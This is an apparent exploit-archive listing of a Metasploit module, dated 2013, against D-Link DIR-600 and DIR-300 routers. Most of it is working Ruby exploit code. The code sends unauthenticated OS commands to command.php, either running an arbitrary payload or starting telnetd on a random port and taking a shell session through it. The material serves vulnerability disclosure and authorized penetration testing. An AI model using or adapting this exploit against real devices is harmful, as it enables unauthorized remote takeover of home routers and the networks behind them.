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D-Link Devices Unauthenticated Remote Command Execution

D-Link Devices Unauthenticated Remote Command Execution
Posted Aug 9, 2013
Authored by Michael Messner, juan vazquez | Site metasploit.com

Different D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in command.php, which is accessible without authentication. This Metasploit module has been tested with the versions DIR-600 2.14b01, DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service and establish a session over it, the second one runs commands via the CMD target. There is no wget or tftp client to upload an elf backdoor easily. According to the vulnerability discoverer, more D-Link devices may affected.

tags | exploit, web, php
advisories | OSVDB-89861
MD5 | e2926242e296222d9f55b90114f6a9e5

D-Link Devices Unauthenticated Remote Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CommandShell

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection via the web
interface. The vulnerability exists in command.php, which is accessible without
authentication. This module has been tested with the versions DIR-600 2.14b01,
DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service
and establish a session over it, the second one runs commands via the CMD target.
There is no wget or tftp client to upload an elf backdoor easily. According to the
vulnerability discoverer, more D-Link devices may affected.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '89861' ],
[ 'EDB', '24453' ],
[ 'BID', '57734' ],
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
],
'DisclosureDate' => 'Feb 04 2013',
'Privileged' => true,
'Platform' => ['linux','unix'],
'Payload' =>
{
'DisableNops' => true,
},
'Targets' =>
[
[ 'CMD', #all devices
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Telnet', #all devices - default target
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
],
'DefaultTarget' => 1
))
end

def exploit
if target.name =~ /CMD/
exploit_cmd
else
exploit_telnet
end
end

def exploit_cmd
if not (datastore['CMD'])
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = "#{payload.encoded}; echo end"
print_status("#{rhost}:#{rport} - Sending exploit request...")
res = request(cmd)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end

if res.body.include?("end")
print_good("#{rhost}:#{rport} - Exploited successfully\n")
vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
else
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end

return
end

def exploit_telnet
telnetport = rand(65535)

print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")

cmd = "telnetd -p #{telnetport}"

#starting the telnetd gives no response
print_status("#{rhost}:#{rport} - Sending exploit request...")
request(cmd)

begin
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

if sock
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
add_socket(sock)
else
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end

print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
auth_info = {
:host => rhost,
:port => telnetport,
:sname => 'telnet',
:user => "",
:pass => "",
:source_type => "exploit",
:active => true
}
report_auth_info(auth_info)
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => nil,
'PASSWORD' => nil
}
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
rescue
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
end
return
end

def request(cmd)

uri = '/command.php'

begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
"cmd" => cmd
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
end

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